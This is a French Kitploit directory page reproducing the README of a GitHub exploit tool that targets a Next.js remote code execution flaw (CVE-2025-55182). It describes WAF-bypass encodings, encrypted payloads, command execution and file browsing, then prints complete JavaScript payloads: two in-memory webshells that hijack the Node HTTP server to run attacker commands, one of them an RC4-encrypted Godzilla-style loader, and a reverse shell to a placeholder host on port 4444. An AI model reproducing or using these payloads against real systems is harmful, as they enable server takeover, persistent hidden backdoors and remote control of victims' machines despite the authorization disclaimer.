Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Nextjs_RCE_Exploit_Tool — Exploit pour CVE-2025-55182 & CVE-2025-66478 | Kitploit
Outils/GitHubGitHub/pyroxenites/nextjs_rce_exploit_tool
Analyse des VulnérabilitésExploitationExploitation d'Applications WebContournement de WAFTests d'IntrusionCommandement et ContrôleApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles
GitHubpyroxenites/nextjs_rce_exploit_tool

Nextjs_RCE_Exploit_Tool

Exploit pour CVE-2025-55182 & CVE-2025-66478

141365il y a 9 moisVérifié par Kitploit
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Outil d'exploitation RCE Next.js (CVE-2025-55182)


[!CAUTION] Avertissement / Disclaimer

Cet outil est destiné exclusivement à la recherche en sécurité et à l'enseignement. L'utilisateur doit s'assurer d'obtenir une autorisation légale du système cible avant tout test.

Toute utilisation pour des tests de pénétration non autorisés, des attaques malveillantes ou toute autre activité illégale est strictement interdite. L'utilisateur assume seul tous les risques et conséquences juridiques découlant de la détection et de l'exploitation de vulnérabilités, et le développeur de ce projet décline toute responsabilité.

Si vous n'acceptez pas ces conditions, veuillez cesser immédiatement de télécharger ou d'utiliser cet outil.

Cet outil a été développé sur la base d'articles publics. Aucune version binaire compilée n'est fournie. Veuillez auditer le code et le compiler vous-même.


🙏 Remerciements / Credits

La logique principale et les méthodes de contournement de cet outil s'inspirent largement des travaux des chercheurs en sécurité de la communauté. Nous remercions chaleureusement :

  • @maple3142
  • @lachlan2k (React2Shell)
  • @phithon (P师傅)

✨ Fonctionnalités / Features

  • Chaînes d'exploitation supportées :
    • Prototype Chain
    • Array Map Chain
  • Contournement WAF :
    • ✅ Encodage Unicode
    • ✅ Encodage UTF-16LE
  • OpSec :
    • 🔐 Chiffrement AES du payload
  • Boîte à outils :
    • Exécution de commandes : prend en charge les modes synchrone (execSync) et asynchrone (exec).
    • Gestion de fichiers : interface inspirée de l'explorateur de fichiers, permettant de parcourir, lire et écrire des fichiers.
    • Exploitation avancée : supporte l'exécution de code JS natif et le chargement de modules (module._load).

🛠️ Démarrage rapide

1. Validation de la vulnérabilité (Nuclei)

Utilisez Nuclei pour l'identification par empreinte et la validation en masse :

root@kitploit:~
nuclei -l urls.txt -t CVE-2025-55182.yaml -o result.txt

2. Compilation et exécution

root@kitploit:~
# Télécharger les dépendances
go mod tidy

# Compiler
go build -ldflags="-s -w" -o ReactExploit cmd/main.go

# Exécuter
./ReactExploit

📸 Captures d'écran / Screenshots

1. Encodage

Config & WAF Bypass

2. Exécution de commandes (RCE)

RCE

3. Explorateur de fichiers

File Explorer
File Read

4. Utilisation avancée (Native JS Eval)

JS Eval
Module Load

💉 Exemples de Payload

Dans le module « Exploitation avancée -> Exécution de code JS natif », vous pouvez utiliser les payloads suivants pour des opérations post-exploitation.

1. Injection de memshell

cmdlinux

root@kitploit:~
(function(){
    try {
        if (global.memshell_active) return "Memshell already active!";
        var http = process.mainModule.require('http');
        var cp = process.mainModule.require('child_process');
        var qs = process.mainModule.require('querystring');
        var originalEmit = http.Server.prototype.emit;
        http.Server.prototype.emit = function(event, req, res) {
            if (event === 'request' && req && res) {
                var url = req.url || "";
                if (req.method === 'POST' && url.indexOf('/?pass') !== -1) {
                    var bodyArr = [];
                    req.on('data', function(chunk) {
                        bodyArr.push(chunk);
                    });
                    req.on('end', function() {
                        try {
                            var bodyStr = Buffer.concat(bodyArr).toString();
                            var postData = qs.parse(bodyStr);
                            var cmd = postData['pwd'];
                            if (cmd) {
                                var output = cp.execSync(cmd).toString();
                                res.writeHead(200, {'Content-Type': 'text/plain'});
                                res.end(output);
                            } else {
                                res.writeHead(400);
                                res.end("Parameter 'pwd' is missing.");
                            }
                        } catch (e) {
                            res.writeHead(500);
                            res.end("Error: " + e.message);
                        }
                    });
                    return true;
                }
            }
            return originalEmit.apply(this, arguments);
        };
        global.memshell_active = true;
        return "Memshell injected!";
    } catch (e) {
        return "Injection failed: " + e.message;
    }
})()

https://github.com/BeichenDream/GodzillaNodeJsPayload

root@kitploit:~
(function() {
    try {
        if (global.godzilla_memshell_hooked) return "Memshell already hooked!";
        var http = process.mainModule.require('http');
        var secretKey = '3c6e0b8a9c15224a'; 
        var payloadName = 'ge0b8a';
        function rc4(key, data) {
            var s = Array(256), k = Array(256);
            var i, j = 0, tmp;
            for (i = 0; i < 256; i++) {
                s[i] = i;
                k[i] = key.charCodeAt(i % key.length);
            }
            for (i = 0; i < 256; i++) {
                j = (j + s[i] + k[i]) % 256;
                tmp = s[i];
                s[i] = s[j];
                s[j] = tmp;
            }
            i = j = 0;
            var out = Buffer.alloc(data.length);
            for (var idx = 0; idx < data.length; idx++) {
                i = (i + 1) % 256;
                j = (j + s[i]) % 256;
                tmp = s[i];
                s[i] = s[j];
                s[j] = tmp;
                var t = (s[i] + s[j]) % 256;
                out[idx] = data[idx] ^ s[t];
            }
            return out;
        }
        var originalEmit = http.Server.prototype.emit;
        http.Server.prototype.emit = function(event, req, res) {
            if (event === 'request' && req && res && req.method === 'POST' && (req.url || "").indexOf('/76f03711') !== -1) {
                var bodyArr = [];
                req.on('data', function(chunk) {
                    bodyArr.push(chunk);
                });
                req.on('end', async function() {
                    try {
                        var bodyStr = Buffer.concat(bodyArr).toString();
                        var json = JSON.parse(bodyStr);

                        if (json.data) {
                            var dataBuf = Buffer.from(json.data, 'base64');
                            var rawBody = rc4(secretKey, dataBuf);
                            if (global[payloadName] === undefined) {
                                try {
                                    var tmpPayload = new Function(rawBody.toString())();
                                    if (typeof tmpPayload === "object" && typeof tmpPayload.process === "function") {
                                        global[payloadName] = tmpPayload;
                                    }
                                } catch (err) {
                                }
                            }
                            if (global[payloadName] !== undefined) {
                                var result = await global[payloadName]['process'].call(global[payloadName], rawBody);
                                var resultBuf = Buffer.isBuffer(result) ? result : Buffer.from(String(result));
                                var encResult = rc4(secretKey, resultBuf);
                                res.writeHead(200, {'Content-Type': 'application/json'});
                                res.end(JSON.stringify({ "data": encResult.toString("base64") }));
                                return;
                            }
                        }
                    } catch (e) {
                    }
                   
                    res.writeHead(200, {'Content-Type': 'application/json'});
                    res.end(JSON.stringify({data: null}));
                });
                return true;
            }
            return originalEmit.apply(this, arguments);
        };
        global.godzilla_memshell_hooked = true;
        return "Godzilla Loader-Mode Memshell injected!";
    } catch (e) {
        return "Injection failed: " + e.message;
    }
})()

2. Shell inversé

root@kitploit:~
(function(){
    try {
        var net = process.mainModule.require('net');
        var cp = process.mainModule.require('child_process');
        // 可根据环境修改为 /bin/bash
        var sh = cp.spawn('/bin/sh', ['-i']);
        var client = new net.Socket();
        
        client.on('error', function(err) {
            if (sh) sh.kill(); 
        });
        sh.on('error', function(err) {
            if (client) client.destroy();
        });
        
        client.connect(4444, 'x.x.x.x', function(){
            client.pipe(sh.stdin);
            sh.stdout.pipe(client);
            sh.stderr.pipe(client);
        });
        return "Spawned successfully (Async)";
    } catch (e) {
        return "Failed to spawn: " + e.message;
    }
})();
Télécharger l’outil